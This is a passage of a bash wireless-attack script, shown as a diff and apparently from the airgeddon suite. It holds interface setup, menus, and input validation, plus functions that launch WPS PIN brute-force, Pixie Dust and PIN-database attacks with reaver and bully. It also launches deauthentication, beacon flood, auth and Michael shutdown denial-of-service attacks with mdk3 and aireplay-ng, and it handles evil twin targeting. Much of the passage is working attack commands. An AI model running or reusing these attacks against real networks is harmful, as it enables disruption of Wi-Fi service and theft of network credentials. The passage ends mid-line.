ifacemode="Managed" + else + new_interface=$(${airmon} start "${interface}" 2> /dev/null | grep monitor) + ifacemode="Monitor" + [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" + if [ "${interface}" != "${new_interface}" ]; then + interface=${new_interface} + fi + fi +} + +#Unblock if possible the interface if blocked +function disable_rfkill() { + + debug_print + + if hash rfkill 2> /dev/null; then + rfkill unblock all > /dev/null 2>&1 + fi +} + +#Put the interface on managed mode and manage the possible name change +function managed_option() { + + debug_print + + check_to_set_managed + + if [ "$?" != "0" ]; then + return + fi + + disable_rfkill + + language_strings "${language}" 17 "blue" + ifconfig "${interface}" up + + new_interface=$(${airmon} stop "${interface}" 2> /dev/null | grep station) + ifacemode="Managed" + [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" + + if [ "${interface}" != "${new_interface}" ]; then + check_interface_coherence + if [ "$?" = "0" ]; then + interface=${new_interface} + fi + echo + language_strings "${language}" 15 "yellow" + fi + + echo + language_strings "${language}" 16 "yellow" + language_strings "${language}" 115 "read" +} + +#Put the interface on monitor mode and manage the possible name change +function monitor_option() { + + debug_print + + check_to_set_monitor + + if [ "$?" != "0" ]; then + return + fi + + disable_rfkill + + language_strings "${language}" 18 "blue" + + ifconfig "${interface}" up + iwconfig "${interface}" rate 1M > /dev/null 2>&1 + + if [ "$?" != "0" ]; then + echo + language_strings "${language}" 20 "red" + language_strings "${language}" 115 "read" + return + fi + + if [ "${check_kill_needed}" -eq 1 ]; then + language_strings "${language}" 19 "blue" + ${airmon} check kill > /dev/null 2>&1 + nm_processes_killed=1 + fi + + new_interface=$(${airmon} start "${interface}" 2> /dev/null | grep monitor) + ifacemode="Monitor" + [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" + + if [ "${interface}" != "${new_interface}" ]; then + check_interface_coherence + if [ "$?" = "0" ]; then + interface=${new_interface} + fi + echo + language_strings "${language}" 21 "yellow" + fi + + echo + language_strings "${language}" 22 "yellow" + language_strings "${language}" 115 "read" +} + +#Check the interface mode +function check_interface_mode() { + + debug_print + + execute_iwconfig_fix + if [ "$?" != "0" ]; then + ifacemode="(Non wifi card)" + return 0 + fi + + modemanaged=$(iwconfig "${interface}" 2> /dev/null | grep Mode: | cut -d ':' -f 2 | cut -d ' ' -f 1) + + if [[ ${modemanaged} = "Managed" ]]; then + ifacemode="Managed" + return 0 + fi + + modemonitor=$(iwconfig "${interface}" 2> /dev/null | grep Mode: | awk '{print $4}' | cut -d ':' -f 2) + + if [[ ${modemonitor} = "Monitor" ]]; then + ifacemode="Monitor" + return 0 + fi + + language_strings "${language}" 23 "red" + language_strings "${language}" 115 "read" + exit_code=1 + exit_script_option +} + +#Language change menu +function language_menu() { + + debug_print + + clear + language_strings "${language}" 87 "title" + current_menu="language_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 81 "green" + print_simple_separator + language_strings "${language}" 79 + language_strings "${language}" 80 + language_strings "${language}" 113 + language_strings "${language}" 116 + language_strings "${language}" 249 + language_strings "${language}" 308 + language_strings "${language}" 320 + print_hint ${current_menu} + + read -r language_selected + echo + case ${language_selected} in + 1) + if [ "${language}" = "ENGLISH" ]; then + language_strings "${language}" 251 "red" + else + language="ENGLISH" + language_strings "${language}" 83 "yellow" + fi + language_strings "${language}" 115 "read" + ;; + 2) + if [ "${language}" = "SPANISH" ]; then + language_strings "${language}" 251 "red" + else + language="SPANISH" + language_strings "${language}" 84 "yellow" + fi + language_strings "${language}" 115 "read" + ;; + 3) + if [ "${language}" = "FRENCH" ]; then + language_strings "${language}" 251 "red" + else + language="FRENCH" + language_strings "${language}" 112 "yellow" + fi + language_strings "${language}" 115 "read" + ;; + 4) + if [ "${language}" = "CATALAN" ]; then + language_strings "${language}" 251 "red" + else + language="CATALAN" + language_strings "${language}" 117 "yellow" + fi + language_strings "${language}" 115 "read" + ;; + 5) + if [ "${language}" = "PORTUGUESE" ]; then + language_strings "${language}" 251 "red" + else + language="PORTUGUESE" + language_strings "${language}" 248 "yellow" + fi + language_strings "${language}" 115 "read" + ;; + 6) + if [ "${language}" = "RUSSIAN" ]; then + language_strings "${language}" 251 "red" + else + language="RUSSIAN" + language_strings "${language}" 307 "yellow" + fi + language_strings "${language}" 115 "read" + ;; + 7) + if [ "${language}" = "GREEK" ]; then + language_strings "${language}" 251 "red" + else + language="GREEK" + language_strings "${language}" 332 "yellow" + fi + language_strings "${language}" 115 "read" + ;; + *) + invalid_language_selected + ;; + esac +} + +#Read the chipset for an interface +function set_chipset() { + + debug_print + + chipset="" + sedrule1="s/^....//" + sedrule2="s/ Network Connection//g" + sedrule3="s/ Wireless Adapter//" + sedrule4="s/Wireless LAN Controller //g" + sedrule5="s/ Wireless Adapter//" + sedrule6="s/^ //" + sedrule7="s/ Gigabit Ethernet.*//" + sedrule8="s/ Fast Ethernet.*//" + sedrule9="s/ \[.*//" + sedrule10="s/ (.*//" + + sedrulewifi="${sedrule1};${sedrule2};${sedrule3};${sedrule6}" + sedrulegeneric="${sedrule4};${sedrule2};${sedrule5};${sedrule6};${sedrule7};${sedrule8};${sedrule9};${sedrule10}" + sedruleall="${sedrule1};${sedrule2};${sedrule3};${sedrule6};${sedrule7};${sedrule8};${sedrule9};${sedrule10}" + + if [ -f "/sys/class/net/${1}/device/modalias" ]; then + + bus_type=$(cut -d ":" -f 1 < "/sys/class/net/${1}/device/modalias") + + if [ "${bus_type}" = "usb" ]; then + vendor_and_device=$(cut -b 6-14 < "/sys/class/net/${1}/device/modalias" | sed 's/^.//;s/p/:/') + chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedrulewifi}") + + elif [[ "${bus_type}" =~ pci|ssb|bcma|pcmcia ]]; then + + if [[ -f /sys/class/net/${1}/device/vendor && -f /sys/class/net/${1}/device/device ]]; then + vendor_and_device=$(cat "/sys/class/net/${1}/device/vendor"):$(cat "/sys/class/net/${1}/device/device") + chipset=$(lspci -d "${vendor_and_device}" | cut -f3- -d ":" | sed "${sedrulegeneric}") + else + if hash ethtool 2> /dev/null; then + ethtool_output=$(ethtool -i "${1}" 2>&1) + vendor_and_device=$(printf "%s" "${ethtool_output}" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //') + chipset=$(lspci | grep "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedrulegeneric}") + fi + fi + fi + elif [[ -f /sys/class/net/${1}/device/idVendor && -f /sys/class/net/${1}/device/idProduct ]]; then + vendor_and_device=$(cat "/sys/class/net/${1}/device/idVendor"):$(cat "/sys/class/net/${1}/device/idProduct") + chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedruleall}") + fi +} + +#Internet interface selection menu +function select_internet_interface() { + + debug_print + + if [ "${return_to_et_main_menu}" -eq 1 ]; then + return 1 + fi + + current_menu="evil_twin_attacks_menu" + clear + case ${et_mode} in + "et_onlyap") + language_strings "${language}" 270 "title" + ;; + "et_sniffing") + language_strings "${language}" 291 "title" + ;; + "et_sniffing_sslstrip") + language_strings "${language}" 292 "title" + ;; + "et_sniffing_sslstrip2") + language_strings "${language}" 397 "title" + ;; + "et_captive_portal") + language_strings "${language}" 293 "title" + ;; + esac + + inet_ifaces=$(ip link | egrep "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep lo -v | grep "${interface}" -v) + + option_counter=0 + for item in ${inet_ifaces}; do + + if [ ${option_counter} -eq 0 ]; then + language_strings "${language}" 279 "green" + print_simple_separator + fi + + option_counter=$((option_counter + 1)) + if [ ${#option_counter} -eq 1 ]; then + spaceiface=" " + else + spaceiface=" " + fi + set_chipset "${item}" + echo -ne "${option_counter}.${spaceiface}${item} " + if [ "${chipset}" = "" ]; then + language_strings "${language}" 245 "blue" + else + echo -e "${blue_color}// ${yellow_color}Chipset:${normal_color} ${chipset}" + fi + done + + if [ ${option_counter} -eq 0 ]; then + return_to_et_main_menu=1 + return_to_et_main_menu_from_beef=1 + echo + language_strings "${language}" 280 "red" + language_strings "${language}" 115 "read" + return 1 + fi + + option_counter_back=$((option_counter + 1)) + if [ ${option_counter: -1} -eq 9 ]; then + spaceiface+=" " + fi + print_simple_separator + language_strings "${language}" 331 + print_hint ${current_menu} + + read -r inet_iface + if [ -z "${inet_iface}" ]; then + invalid_internet_iface_selected + elif [[ ${inet_iface} -lt 1 ]] || [[ ${inet_iface} -gt ${option_counter_back} ]]; then + invalid_internet_iface_selected + elif [ "${inet_iface}" -eq ${option_counter_back} ]; then + return_to_et_main_menu=1 + return_to_et_main_menu_from_beef=1 + return 1 + else + option_counter2=0 + for item2 in ${inet_ifaces}; do + option_counter2=$((option_counter2 + 1)) + if [[ "${inet_iface}" = "${option_counter2}" ]]; then + internet_interface=${item2} + break + fi + done + return 0 + fi +} + +#Interface selection menu +function select_interface() { + + debug_print + + clear + language_strings "${language}" 88 "title" + current_menu="select_interface_menu" + language_strings "${language}" 24 "green" + print_simple_separator + ifaces=$(ip link | egrep "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep lo -v) + option_counter=0 + for item in ${ifaces}; do + option_counter=$((option_counter + 1)) + if [ ${#option_counter} -eq 1 ]; then + spaceiface=" " + else + spaceiface=" " + fi + set_chipset "${item}" + echo -ne "${option_counter}.${spaceiface}${item} " + if [ "${chipset}" = "" ]; then + language_strings "${language}" 245 "blue" + else + echo -e "${blue_color}// ${yellow_color}Chipset:${normal_color} ${chipset}" + fi + done + print_hint ${current_menu} + + read -r iface + if [ -z "${iface}" ]; then + invalid_iface_selected + elif [[ ${iface} -lt 1 ]] || [[ ${iface} -gt ${option_counter} ]]; then + invalid_iface_selected + else + option_counter2=0 + for item2 in ${ifaces}; do + option_counter2=$((option_counter2 + 1)) + if [[ "${iface}" = "${option_counter2}" ]]; then + interface=${item2} + interface_mac=$(ip link show "${interface}" | awk '/ether/ {print $2}') + break + fi + done + fi +} + +#Read the user input on yes/no questions +function read_yesno() { + + debug_print + + echo + language_strings "${language}" "${1}" "green" + read -r yesno +} + +#Validate the input on yes/no questions +function ask_yesno() { + + debug_print + + yesno="" + while [[ ! ${yesno} =~ ^[YyNn]$ ]]; do + read_yesno "${1}" + done + + if [ "${yesno}" = "Y" ]; then + yesno="y" + fi + if [ "${yesno}" = "N" ]; then + yesno="n" + fi +} + +#Read the user input on channel questions +function read_channel() { + + debug_print + + echo + language_strings "${language}" 25 "green" + if [ "${1}" = "wps" ]; then + read -r wps_channel + else + read -r channel + fi +} + +#Validate the input on channel questions +function ask_channel() { + + debug_print + + local regexp="^([1-9]|1[0-4])$" + + if [ "${1}" = "wps" ]; then + while [[ ! ${wps_channel} =~ ${regexp} ]]; do + read_channel "wps" + done + echo + language_strings "${language}" 365 "blue" + else + while [[ ! ${channel} =~ ${regexp} ]]; do + read_channel + done + echo + language_strings "${language}" 26 "blue" + fi +} + +#Read the user input on bssid questions +function read_bssid() { + + debug_print + + echo + language_strings "${language}" 27 "green" + if [ "${1}" = "wps" ]; then + read -r wps_bssid + else + read -r bssid + fi +} + +#Validate the input on bssid questions +function ask_bssid() { + + debug_print + + local regexp="^([a-fA-F0-9]{2}:){5}[a-zA-Z0-9]{2}$" + + if [ "${1}" = "wps" ]; then + while [[ ! ${wps_bssid} =~ ${regexp} ]]; do + read_bssid "wps" + done + echo + language_strings "${language}" 364 "blue" + else + while [[ ! ${bssid} =~ ${regexp} ]]; do + read_bssid + done + echo + language_strings "${language}" 28 "blue" + fi +} + +#Read the user input on essid questions +function read_essid() { + + debug_print + + echo + language_strings "${language}" 29 "green" + read -r essid +} + +#Validate the input on essid questions +function ask_essid() { + + debug_print + + if [ -z "${essid}" ]; then + while [[ -z "${essid}" ]]; do + read_essid + done + elif [ "${essid}" = "(Hidden Network)" ]; then + echo + language_strings "${language}" 30 "yellow" + read_essid + fi + + echo + language_strings "${language}" 31 "blue" +} + +#Read the user input on custom pin questions +function read_custom_pin() { + + debug_print + + echo + language_strings "${language}" 363 "green" + read -r custom_pin +} + +#Validate the input on custom pin questions +function ask_custom_pin() { + + debug_print + + local regexp="^[0-9]{8}$" + custom_pin="" + while [[ ! ${custom_pin} =~ ${regexp} ]]; do + read_custom_pin + done + + echo + language_strings "${language}" 362 "blue" +} + +#Read the user input on timeout questions +function read_timeout() { + + debug_print + + echo + case ${1} in + "standard") + language_strings "${language}" 393 "green" + ;; + "pixiedust") + language_strings "${language}" 394 "green" + ;; + esac + read -r timeout +} + +#Validate the user input for timeouts +function ask_wps_timeout() { + + debug_print + + case ${1} in + "standard") + local regexp="^[1-9][0-9]$|^100$|^$" + ;; + "pixiedust") + local regexp="^2[5-9]$|^[3-9][0-9]$|^[1-9][0-9]{2}$|^1[0-9]{3}$|^2[0-3][0-9]{2}$|^2400$|^$" + ;; + esac + + timeout=0 + while [[ ! ${timeout} =~ ${regexp} ]]; do + read_timeout "${1}" + done + + if [ "${timeout}" = "" ]; then + case ${1} in + "standard") + timeout=${timeout_secs_per_pin} + ;; + "pixiedust") + timeout=${timeout_secs_per_pixiedust} + ;; + esac + fi + + echo + case ${1} in + "standard") + timeout_secs_per_pin=${timeout} + language_strings "${language}" 391 "blue" + ;; + "pixiedust") + timeout_secs_per_pixiedust=${timeout} + language_strings "${language}" 392 "blue" + ;; + esac +} + +#Execute wps custom pin bully attack +function exec_wps_custom_pin_bully_attack() { + + debug_print + + echo + language_strings "${language}" 32 "green" + + set_wps_attack_script "bully" "custompin" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 366 "blue" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS custom pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 +} + +#Execute wps custom pin reaver attack +function exec_wps_custom_pin_reaver_attack() { + + debug_print + + echo + language_strings "${language}" 32 "green" + + set_wps_attack_script "reaver" "custompin" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 366 "blue" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS custom pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 +} + +#Execute bully pixie dust attack +function exec_bully_pixiewps_attack() { + + debug_print + + echo + language_strings "${language}" 32 "green" + + set_wps_attack_script "bully" "pixiedust" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 366 "blue" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS bully pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 +} + +#Execute reaver pixie dust attack +function exec_reaver_pixiewps_attack() { + + debug_print + + echo + language_strings "${language}" 32 "green" + + set_wps_attack_script "reaver" "pixiedust" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 366 "blue" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS reaver pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 +} + +#Execute wps bruteforce pin bully attack +function exec_wps_bruteforce_pin_bully_attack() { + + debug_print + + echo + language_strings "${language}" 32 "green" + + set_wps_attack_script "bully" "bruteforce" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 366 "blue" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 +} + +#Execute wps bruteforce pin reaver attack +function exec_wps_bruteforce_pin_reaver_attack() { + + debug_print + + echo + language_strings "${language}" 32 "green" + + set_wps_attack_script "reaver" "bruteforce" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 366 "blue" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 +} + +#Execute wps pin database bully attack +function exec_wps_pin_database_bully_attack() { + + debug_print + + wps_pin_database_prerequisites + + set_wps_attack_script "bully" "pindb" + + recalculate_windows_sizes + xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS bully known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 +} + +#Execute wps pin database reaver attack +function exec_wps_pin_database_reaver_attack() { + + debug_print + + wps_pin_database_prerequisites + + set_wps_attack_script "reaver" "pindb" + + recalculate_windows_sizes + xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS reaver known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 +} + +#Execute mdk3 deauth DoS attack +function exec_mdk3deauth() { + + debug_print + + echo + language_strings "${language}" 89 "title" + language_strings "${language}" 32 "green" + + tmpfiles_toclean=1 + rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 + echo "${bssid}" > "${tmpdir}bl.txt" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 +} + +#Execute aireplay DoS attack +function exec_aireplaydeauth() { + + debug_print + + echo + language_strings "${language}" 90 "title" + language_strings "${language}" 32 "green" + + ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 +} + +#Execute WDS confusion DoS attack +function exec_wdsconfusion() { + + debug_print + + echo + language_strings "${language}" 91 "title" + language_strings "${language}" 32 "green" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 +} + +#Execute Beacon flood DoS attack +function exec_beaconflood() { + + debug_print + + echo + language_strings "${language}" 92 "title" + language_strings "${language}" 32 "green" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "beacon flood attack" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 +} + +#Execute Auth DoS attack +function exec_authdos() { + + debug_print + + echo + language_strings "${language}" 93 "title" + language_strings "${language}" 32 "green" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "auth dos attack" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 +} + +#Execute Michael Shutdown DoS attack +function exec_michaelshutdown() { + + debug_print + + echo + language_strings "${language}" 94 "title" + language_strings "${language}" 32 "green" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "michael shutdown attack" -e mdk3 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 +} + +#Validate Mdk3 parameters +function mdk3_deauth_option() { + + debug_print + + echo + language_strings "${language}" 95 "title" + language_strings "${language}" 35 "green" + + check_monitor_enabled + if [ "$?" != "0" ]; then + return + fi + + echo + language_strings "${language}" 34 "yellow" + + ask_bssid + ask_channel + exec_mdk3deauth +} + +#Validate Aireplay parameters +function aireplay_deauth_option() { + + debug_print + + echo + language_strings "${language}" 96 "title" + language_strings "${language}" 36 "green" + + check_monitor_enabled + if [ "$?" != "0" ]; then + return + fi + + echo + language_strings "${language}" 34 "yellow" + + ask_bssid + ask_channel + exec_aireplaydeauth +} + +#Validate WDS confusion parameters +function wds_confusion_option() { + + debug_print + + echo + language_strings "${language}" 97 "title" + language_strings "${language}" 37 "green" + + check_monitor_enabled + if [ "$?" != "0" ]; then + return + fi + + echo + language_strings "${language}" 34 "yellow" + + ask_essid + ask_channel + exec_wdsconfusion +} + +#Validate Beacon flood parameters +function beacon_flood_option() { + + debug_print + + echo + language_strings "${language}" 98 "title" + language_strings "${language}" 38 "green" + + check_monitor_enabled + if [ "$?" != "0" ]; then + return + fi + + echo + language_strings "${language}" 34 "yellow" + + ask_essid + ask_channel + exec_beaconflood +} + +#Validate Auth DoS parameters +function auth_dos_option() { + + debug_print + + echo + language_strings "${language}" 99 "title" + language_strings "${language}" 39 "green" + + check_monitor_enabled + if [ "$?" != "0" ]; then + return + fi + + echo + language_strings "${language}" 34 "yellow" + + ask_bssid + exec_authdos +} + +#Validate Michael Shutdown parameters +function michael_shutdown_option() { + + debug_print + + echo + language_strings "${language}" 100 "title" + language_strings "${language}" 40 "green" + + check_monitor_enabled + if [ "$?" != "0" ]; then + return + fi + + echo + language_strings "${language}" 34 "yellow" + + ask_bssid + exec_michaelshutdown +} + +#Validate wps parameters for custom pin, pixie dust, bruteforce and pin database attacks +function wps_attacks_parameters() { + + debug_print + + check_monitor_enabled + if [ "$?" != "0" ]; then + return 1 + fi + + echo + language_strings "${language}" 34 "yellow" + + ask_bssid "wps" + ask_channel "wps" + + case ${wps_attack} in + "custompin_bully"|"custompin_reaver") + ask_custom_pin + ask_wps_timeout "standard" + ;; + "pixiedust_bully"|"pixiedust_reaver") + ask_wps_timeout "pixiedust" + ;; + "pindb_bully"|"pindb_reaver") + ask_wps_timeout "standard" + ;; + esac + + return 0 +} + +#Print selected interface +function print_iface_selected() { + + debug_print + + if [ -z "${interface}" ]; then + language_strings "${language}" 41 "red" + echo + language_strings "${language}" 115 "read" + select_interface + else + check_interface_mode + language_strings "${language}" 42 "blue" + fi +} + +#Print selected internet interface +function print_iface_internet_selected() { + + debug_print + + if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then + if [ -z "${internet_interface}" ]; then + language_strings "${language}" 283 "blue" + else + language_strings "${language}" 282 "blue" + fi + fi +} + +#Print selected target parameters (bssid, channel, essid and type of encryption) +function print_all_target_vars() { + + debug_print + + if [ -n "${bssid}" ]; then + language_strings "${language}" 43 "blue" + if [ -n "${channel}" ]; then + language_strings "${language}" 44 "blue" + fi + if [ -n "${essid}" ]; then + if [ "${essid}" = "(Hidden Network)" ]; then + language_strings "${language}" 45 "blue" + else + language_strings "${language}" 46 "blue" + fi + fi + if [ -n "${enc}" ]; then + language_strings "${language}" 135 "blue" + fi + fi +} + +#Print selected target parameters on evil twin menu (bssid, channel and essid) +function print_all_target_vars_et() { + + debug_print + + if [ -n "${bssid}" ]; then + language_strings "${language}" 43 "blue" + else + language_strings "${language}" 271 "blue" + fi + + if [ -n "${channel}" ]; then + language_strings "${language}" 44 "blue" + else + language_strings "${language}" 273 "blue" + fi + + if [ -n "${essid}" ]; then + if [ "${essid}" = "(Hidden Network)" ]; then + language_strings "${language}" 45 "blue" + else + language_strings "${language}" 46 "blue" + fi + else + language_strings "${language}" 274 "blue" + fi +} + +#Print selected target parameters on evil twin submenus (bssid, channel, essid, DoS type and Handshake file) +function print_et_target_vars() { + + debug_print + + if [ -n "${bssid}" ]; then + language_strings "${language}" 43 "blue" + else + language_strings "${language}" 271 "blue" + fi + + if [ -n "${channel}" ]; then + language_strings "${language}" 44 "blue" + else + language_strings "${language}" 273 "blue" + fi + + if [ -n "${essid}" ]; then + if [ "${essid}" = "(Hidden Network)" ]; then + language_strings "${language}" 45 "blue" + else + language_strings "${language}" 46 "blue" + fi + else + language_strings "${language}" 274 "blue" + fi + + if [ "${current_menu}" != "et_dos_menu" ]; then + if [ -n "${et_dos_attack}" ]; then + language_strings "${language}" 272 "blue" + else + language_strings "${language}" 278 "blue" + fi + fi + + if [ "${et_mode}" = "et_captive_portal" ]; then + if [ -n "${et_handshake}" ]; then + language_strings "${language}" 311 "blue" + else + if [ -n "${enteredpath}" ]; then + language_strings "${language}" 314 "blue" + else + language_strings "${language}" 310 "blue" + fi + fi + fi +} + +#Print selected target parameters on wps attacks menu (bssid, channel and essid) +function print_all_target_vars_wps() { + + debug_print + + if [ -n "${wps_bssid}" ]; then + language_strings "${language}" 335 "blue" + else + language_strings "${language}" 339 "blue" + fi + + if [ -n "${wps_channel}" ]; then + language_strings "${language}" 336 "blue" + else + language_strings "${language}" 340 "blue" + fi + + if [ -n "${wps_essid}" ]; then + if [ "${wps_essid}" = "(Hidden Network)" ]; then + language_strings "${language}" 337 "blue" + else + language_strings "${language}" 338 "blue" + fi + else + language_strings "${language}" 341 "blue" + fi + + if [ -n "${wps_locked}" ]; then + language_strings "${language}" 351 "blue" + else + language_strings "${language}" 352 "blue" + fi +} + +#Print selected target parameters on decrypt menu (bssid, Handshake file, dictionary file and rules file) +function print_decrypt_vars() { + + debug_print + + if [ -n "${bssid}" ]; then + language_strings "${language}" 43 "blue" + else + language_strings "${language}" 185 "blue" + fi + + if [ -n "${enteredpath}" ]; then + language_strings "${language}" 173 "blue" + else + language_strings "${language}" 177 "blue" + fi + + if [ -n "${DICTIONARY}" ]; then + language_strings "${language}" 182 "blue" + fi + + if [ -n "${RULES}" ]; then + language_strings "${language}" 243 "blue" + fi +} + +#Create the dependencies arrays +function initialize_menu_options_dependencies() { + + debug_print + + clean_handshake_dependencies=(${optional_tools_names[0]}) + aircrack_attacks_dependencies=(${optional_tools_names[1]}) + aireplay_attack_dependencies=(${optional_tools_names[2]}) + mdk3_attack_dependencies=(${optional_tools_names[3]}) + hashcat_attacks_dependencies=(${optional_tools_names[4]}) + et_onlyap_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]}) + et_sniffing_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[8]} ${optional_tools_names[9]}) + et_sniffing_sslstrip_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[8]} ${optional_tools_names[9]} ${optional_tools_names[10]}) + et_captive_portal_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[11]}) + wash_scan_dependencies=(${optional_tools_names[13]}) + reaver_attacks_dependencies=(${optional_tools_names[14]}) + bully_attacks_dependencies=(${optional_tools_names[15]} ${optional_tools_names[17]}) + bully_pixie_dust_attack_dependencies=(${optional_tools_names[15]} ${optional_tools_names[16]} ${optional_tools_names[17]}) + reaver_pixie_dust_attack_dependencies=(${optional_tools_names[14]} ${optional_tools_names[16]}) + et_sniffing_sslstrip2_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[18]} ${optional_tools_names[19]}) +} + +#Set possible changes for some commands that can be found in different ways depending of the O.S. +function set_possible_aliases() { + + debug_print + + for item in "${!possible_alias_names[@]}"; do + if ! hash "${item}" 2> /dev/null || [[ "${item}" = "beef" ]]; then + arraliases=(${possible_alias_names[${item//[[:space:]]/ }]}) + for item2 in "${arraliases[@]}"; do + if hash "${item2}" 2> /dev/null; then + optional_tools_names=(${optional_tools_names[@]/${item}/${item2}}) + break + fi + done + fi + done +} + +#Initialize optional_tools values +function initialize_optional_tools_values() { + + debug_print + + declare -gA optional_tools + + for item in "${optional_tools_names[@]}"; do + optional_tools[${item}]=0 + done +} + +#Set some vars depending of the menu and invoke the printing of target vars +function initialize_menu_and_print_selections() { + + debug_print + + forbidden_options=() + + case ${current_menu} in + "main_menu") + print_iface_selected + ;; + "decrypt_menu") + print_decrypt_vars + ;; + "handshake_tools_menu") + print_iface_selected + print_all_target_vars + ;; + "dos_attacks_menu") + print_iface_selected + print_all_target_vars + ;; + "attack_handshake_menu") + print_iface_selected + print_all_target_vars + ;; + "language_menu") + print_iface_selected + ;; + "evil_twin_attacks_menu") + return_to_et_main_menu=0 + retry_handshake_capture=0 + return_to_et_main_menu_from_beef=0 + retrying_handshake_capture=0 + internet_interface_selected=0 + captive_portal_mode="internet" + et_mode="" + et_processes=() + print_iface_selected + print_all_target_vars_et + ;; + "et_dos_menu") + if [ ${retry_handshake_capture} -eq 1 ]; then + retry_handshake_capture=0 + retrying_handshake_capture=1 + fi + print_iface_selected + print_et_target_vars + print_iface_internet_selected + ;; + "wps_attacks_menu") + print_iface_selected + print_all_target_vars_wps + ;; + "beef_pre_menu") + print_iface_selected + print_all_target_vars_et + ;; + *) + print_iface_selected + print_all_target_vars + ;; + esac +} + +#Clean temporary files +function clean_tmpfiles() { + + debug_print + + rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 + rm -rf "${tmpdir}handshake"* > /dev/null 2>&1 + rm -rf "${tmpdir}nws"* > /dev/null 2>&1 + rm -rf "${tmpdir}clts"* > /dev/null 2>&1 + rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1 + rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1 + rm -rf "${tmpdir}${hostapd_file}" > /dev/null 2>&1 + rm -rf "${tmpdir}${dhcpd_file}" > /dev/null 2>&1 + rm -rf "${tmpdir}${control_file}" > /dev/null 2>&1 + rm -rf 